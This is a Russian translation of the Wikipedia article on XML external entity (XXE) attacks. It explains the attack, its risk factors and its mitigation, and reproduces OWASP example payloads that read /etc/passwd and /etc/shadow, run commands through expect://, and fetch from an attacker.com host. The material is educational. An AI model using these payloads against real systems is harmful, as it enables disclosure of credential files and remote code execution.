Jump to content

Атака внешнего объекта XML

Атака внешнего объекта XML или просто атака XXE — это тип атаки на приложение, которое анализирует ввод XML . Эта атака происходит, когда ввод XML, содержащий ссылку на внешний объект, обрабатывается слабо настроенным анализатором XML. Эта атака может привести к раскрытию конфиденциальных данных, DoS-атакам , подделке запросов на стороне сервера , сканированию портов с точки зрения машины, на которой расположен парсер, и другим [ который? ] системные воздействия. [1]

Описание

[ редактировать ]

Стандарт XML 1.0 определяет структуру XML-документа. Стандарт определяет концепцию, называемую сущностью , которая представляет собой термин, относящийся к нескольким типам единиц данных. Одним из таких типов сущностей является внешняя сущность, анализируемая по общим параметрам или параметрам, часто сокращаемая до внешней сущности, которая может получать доступ к локальному или удаленному контенту через объявленный системный идентификатор . Предполагается, что системный идентификатор представляет собой URI , к которому может получить доступ процессор XML при обработке объекта. Затем процессор XML заменяет вхождения именованного внешнего объекта содержимым, на которое ссылается системный идентификатор. Если системный идентификатор содержит испорченные данные и процессор XML разыменовывает эти испорченные данные, процессор XML может раскрыть конфиденциальную информацию, обычно недоступную приложению. Подобные векторы атак предусматривают использование внешних DTD , внешних таблиц стилей , внешних схем и т. д., которые, если они включены, позволяют проводить аналогичные атаки в стиле включения внешних ресурсов.

Атаки могут включать раскрытие локальных файлов, которые могут содержать конфиденциальные данные, такие как пароли или личные данные пользователя, с использованием file:// схемы или относительные пути в системном идентификаторе. Поскольку атака происходит относительно приложения, обрабатывающего XML-документ, злоумышленник может использовать это доверенное приложение для перехода к другим внутренним системам, возможно, раскрывая другой внутренний контент через HTTP- запросы или запуская CSRF- атаку на любые незащищенные внутренние службы. В некоторых ситуациях библиотека процессора XML, уязвимая к проблемам повреждения памяти на стороне клиента , может быть использована путем разыменования вредоносного URI , что может позволить выполнение произвольного кода под учетной записью приложения . Другие атаки могут получить доступ к локальным ресурсам, которые могут продолжать возвращать данные, что может повлиять на доступность приложений, если не будет выпущено слишком много потоков или процессов.

Приложению не нужно явно возвращать ответ злоумышленнику, чтобы оно было уязвимо к раскрытию информации. Злоумышленник может использовать информацию DNS для передачи данных через имена поддоменов на DNS-сервер, находящийся под его контролем. [2]

Факторы риска

[ редактировать ]
  • Приложение анализирует XML-документы.
  • Испорченные данные допускаются в части системного идентификатора объекта, в определении типа документа (DTD).
  • Процессор XML настроен для проверки и обработки DTD.
  • Процессор XML настроен на разрешение внешних объектов в DTD.

Приведенные ниже примеры взяты из теста OWASP на внедрение XML (WSTG-INPV-07) . [3]

Доступ к локальному ресурсу, который может не вернуться

[ редактировать ]
 <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

Удаленное выполнение кода

[ редактировать ]

Когда PHP загружен модуль «expect», удаленное выполнение кода может быть возможным с измененной полезной нагрузкой.

 <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
     <creds>
        <user>&xxe;</user>
        <pass>mypass</pass>
     </creds>

Раскрытие /etc/passwd или других целевых файлов

[ редактировать ]
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

смягчение последствий

[ редактировать ]

Поскольку весь XML-документ передается от ненадежного клиента, обычно невозможно выборочно проверить или избежать испорченных данных в системном идентификаторе в DTD. Процессор XML можно настроить на использование локального статического DTD и запретить любое объявленное DTD, включенное в XML-документ.

См. также

[ редактировать ]
  1. ^ «Что такое атаки на внешние объекты XML (XXE)» . Акунетикс . Проверено 13 ноября 2023 г.
  2. ^ «Руководство по тестированию OWASP v3» (PDF) . Откройте проект безопасности веб-приложений . 2008 год . Проверено 13 ноября 2023 г.
  3. ^ «Тестирование на внедрение XML (WSTG-INPV-07), Руководство по тестированию веб-безопасности, версия 4.2» . ОВАСП . 03.12.2020. Архивировано из оригинала 20 апреля 2021 г. Проверено 16 марта 2023 г.
[ редактировать ]
Arc.Ask3.Ru: конец переведенного документа.
Arc.Ask3.Ru
Номер скриншота №: 43639ffbd2175b09abcb73d17447aea4__1699894020
URL1:https://arc.ask3.ru/arc/aa/43/a4/43639ffbd2175b09abcb73d17447aea4.html
Заголовок, (Title) документа по адресу, URL1:
XML external entity attack - Wikipedia
Данный printscreen веб страницы (снимок веб страницы, скриншот веб страницы), визуально-программная копия документа расположенного по адресу URL1 и сохраненная в файл, имеет: квалифицированную, усовершенствованную (подтверждены: метки времени, валидность сертификата), открепленную ЭЦП (приложена к данному файлу), что может быть использовано для подтверждения содержания и факта существования документа в этот момент времени. Права на данный скриншот принадлежат администрации Ask3.ru, использование в качестве доказательства только с письменного разрешения правообладателя скриншота. Администрация Ask3.ru не несет ответственности за информацию размещенную на данном скриншоте. Права на прочие зарегистрированные элементы любого права, изображенные на снимках принадлежат их владельцам. Качество перевода предоставляется как есть. Любые претензии, иски не могут быть предъявлены. Если вы не согласны с любым пунктом перечисленным выше, вы не можете использовать данный сайт и информация размещенную на нем (сайте/странице), немедленно покиньте данный сайт. В случае нарушения любого пункта перечисленного выше, штраф 55! (Пятьдесят пять факториал, Денежную единицу (имеющую самостоятельную стоимость) можете выбрать самостоятельно, выплаичвается товарами в течение 7 дней с момента нарушения.)